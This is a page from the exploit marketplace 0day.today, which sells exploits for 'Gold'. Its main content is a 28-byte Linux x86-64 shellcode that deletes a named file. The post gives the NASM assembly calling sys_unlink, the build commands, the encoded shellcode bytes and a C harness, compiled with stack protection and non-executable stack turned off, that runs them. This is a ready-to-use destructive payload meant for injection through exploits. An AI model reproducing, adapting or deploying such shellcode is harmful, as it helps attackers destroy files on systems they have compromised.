0day.today - أكبر قاعدة بيانات للثغرات في العالم.
![](/img/logo_green.jpg)
We use one main domain DOMAIN_LINK
If you want to purchase the exploit or pay for service, you need to buy Gold. We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ أرسل ] rules
- Visit the [ الأسئلة الشائعة ] page
- [ Register ] profile
- Get [ الذهب ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ [email protected] ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
يمكنكم الاتصال بنا من خلال:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86-64 - Delete File Shellcode (28 bytes)
;Title: Linux/x86_64 - delete ;Author: Aron Mihaljevic ;Architecture: Linux x86_64 ;Shellcode Length: 28 bytes This shellcode deletes file declared in "fname" ==================ASSEMBLY ======================================== global _start section .text _start: jmp short _file delete: push 87 ;sys_unlink pop rax pop rdi ;fname syscall exit: xor rax, rax mov al, 60 ;sys_exit syscall _file: call delete fname: db "test.txt" =======Generate Shellcode========================================== nasm -felf64 delete.nasm -o delete.o ld delete.o -o delete ========C program ================================================ //gcc -fno-stack-protector -z execstack delete.c #include <stdio.h> #include <string.h> char sh[]="\xeb\x0d\x6a\x57\x58\x5f\x0f\x05\x48" "\x31\xc0\xb0\x3c\x0f\x05\xe8\xee\xff" "\xff\xff\x74\x65\x73\x74\x2e\x74\x78\x74"; void main(int argc, char **argv) { printf("Shellcode Length: %d\n", strlen (sh)); int (*func)(); func = (int (*)()) sh; (int)(*func)(); } # 0day.today [2024-07-04] #